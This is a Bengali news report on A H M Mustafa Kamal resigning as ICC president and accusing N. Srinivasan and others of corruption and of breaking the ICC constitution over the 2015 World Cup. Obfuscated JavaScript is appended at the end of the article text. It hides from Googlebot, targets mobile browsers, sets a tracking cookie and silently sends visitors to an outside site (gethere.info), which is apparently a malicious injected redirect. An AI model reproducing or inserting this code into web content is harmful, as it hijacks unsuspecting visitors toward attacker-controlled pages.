‘শ্রীনিবাসনরা নোংরা প্রকৃতির মানুষ’

mostafa-kamal

নিজস্ব প্রতিবেদক :  বিশ্ব ক্রিকেটের অভিভাবক সংস্থা আইসিসি’র কতিপয় দূনীর্তিবাজ প্রভাবশালী ব্যক্তির অনিয়মের প্রতিবাদ জানাতে গিয়ে আজ (বুধবার) অস্ট্রেলিয়া থেকে দেশে ফিরেই হযরত শাহজালাল বিমান বন্দরে মিডিয়ার সামনে সংস্থাটির সভাপতি থেকে পদ ত্যাগের ঘোষনা দেন আ হ ম মুস্তফা কামাল। বিমান বন্দরে নেমেই তিনি আবেগ জড়িত কন্ঠে তিনি বলেন,‘আমি ষোল কোটি মানুষের পক্ষে। তাদের ছোট করে সভাপতি পদে থাকতে চাই না।’ পদত্যাগের ব্যাখ্যা টানতে গিয়ে তিনি বলেন,‘বিশ্ববাসী দেখুক কেন আমি পদত্যাগ করেছি। আমার ক্ষোভ ভারত কিংবা আইসিসি’র বিরুদ্ধে নয়। এই সংস্থার কয়েকজন দূনীতিগ্রস্থ লোকের বিরুদ্ধে। শ্রীনিবাসন ও তার সঙ্গীরা খুবই নোংরা প্রকৃতির মানুষ। তারা আইসিসি’র গঠনতন্ত্র মানছে না। নিজেদের মন মতো করেই ব্যবহার করছে আইসিসিকে। সুবিধামতো বছর বছর নিয়ম পরিবর্তন করছে। এটা তারা করতে পারে না। তাদের দিয়ে ক্রিকেটের ভালো কিছু আশা করা যায় না। আমি মনে করি সত্যের পথে কথা বলতে অসুবিধা নেই। গঠণতন্ত্রের ৩.৩ ধারা অনুযায়ী বৈশ্বিক টুর্নামেন্টের শিরোপা তুলে দেয়ার দ্বায়িত্ব কেবল আইসিসি সভাপতি’র। এ নিয়ম বিচ্যুতির সুযোগ নেই। গত ২৯ মার্চ ট্রফি দেয়ার কথা ছিলো আমার। তা করতে দেয়া হয়নি। কেন দিতে পারিনি সবাই তা জানেন। এখানে আমার অধিকার হরন করা হয়েছে। ফাইনালের আগে আমাদের একটি সভা হয়েছিলো। সেখানে আমাকে বলা হয়েছিলো ১৯ মার্চ বাংলাদেশ ও ভারতের মধ্যকার ম্যাচ নিয়ে বক্তব্যের জন্য ক্ষমা চাইতে হবে নতুবা বিবৃতি প্রত্যাহার করতে হবে। আমি বললাম ষোল কোটি মানুষের জন্য এমন বিবৃতি দিয়েছি। তাদের বাদ দিয়ে এটা প্রত্যাহার করতে পারবো না। তখন তিনি বললেন, তাহলে আপনি ট্রফি দিতে পারবেন না। বললাম, আমি এখানে সভাপতি হিসেবে এসেছি। সভাপতি ছাড়া ট্রফি দেয়ার এখতিয়ার কারো নেই। এটা সংবিধান পরিপন্থী। সংবিধান পরিবর্তন করতে চাইলে পূর্ণ ১০ সদস্যের ৮ সদস্যের সম্মতি লাগবে। এরপর বার্ষিক সভায় সেটা ওঠাতে হবে। আর ওই সভার সভাপতিত্ব করব আমিই। সেদিনের মন্তব্যের জন্য আপনারা আমার কাছে কৈফিয়ত চাইতে পারেন।’
কামাল আরো বলেন,‘গত ১৯ মার্চ বাংলাদেশ-ভারত কোয়ার্টার ফাইনালের বিভিন্ন ঘটনা রয়েছে। সেদিনের ম্যাচে আমার কিছু পর্যবেক্ষন ছিলো। সেদিন মেলবোর্ন ক্রিকেট গ্রাউন্ডে (এমসিজি) স্পাইডার ক্যামেরা ছিলো না। বিশ্বকাপে এই প্রথম দেখলাম এমসিজিতে স্পাইডার ক্যামেরা নেই। এছাড়া সেদিন বড় পর্দায় লেখা উঠল ‘জিতেগা ভাই জিতেগা ইন্ডিয়া জিতেগা’, এটার মানে কি? আইসিসি পরিচালিত স্কোরবোর্ডে এটা থাকবে কেন? ম্যাচ চলাকালীন আইসিসি’র কমার্শিয়াল ম্যানেজারকে বলি বিজ্ঞাপনটা নামাতে। তবু নামানো হয়নি। এরপর একের এক সিদ্ধান্ত দেওয়া হলো বাংলাদেশের বিপক্ষে। সেদিন প্রযুক্তির ব্যবহার ঠিকমতো হয়নি। আম্পায়ার ইচ্ছাকৃতভাবে করেছে, তা বলছি না। মানুষ হিসাবে তাদের ভুল হতেই পারে। কিন্তু প্রযুক্তির সদ্ব্যবহার কেন করবে না? ওই সময় বাংলাদেশ থেকে একের পর এক ফোন আসতে শুরু করে। সবার প্রশ্ন আপনি থাকতে এসব কেন হচ্ছে? এমসিজি’র গ্যালারিতে দেখা গেল প্ল্যাকার্ডে লেখা আইসিসি মানে ‘ইন্ডিয়ান ক্রিকেট লিগ’! আইসিসি’র চেয়ারম্যানের অনৈতিক আচরনের বিরুদ্ধে আমাকে অনেকেই মামলা করতে বলেছিলো। কিন্তু আমি কার বিরুদ্ধে করবো। তার বিরুদ্ধে করলে তো সে সরাসরি আইসিসি’র উপর দোষ চাপিয়ে দেবে। তাই মনে করছি এই প্রতিবাদের মাধ্যমে অন্তত বিশ্ববাসী জানতে পারবে, বুজতে পারবো সব কিছু।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}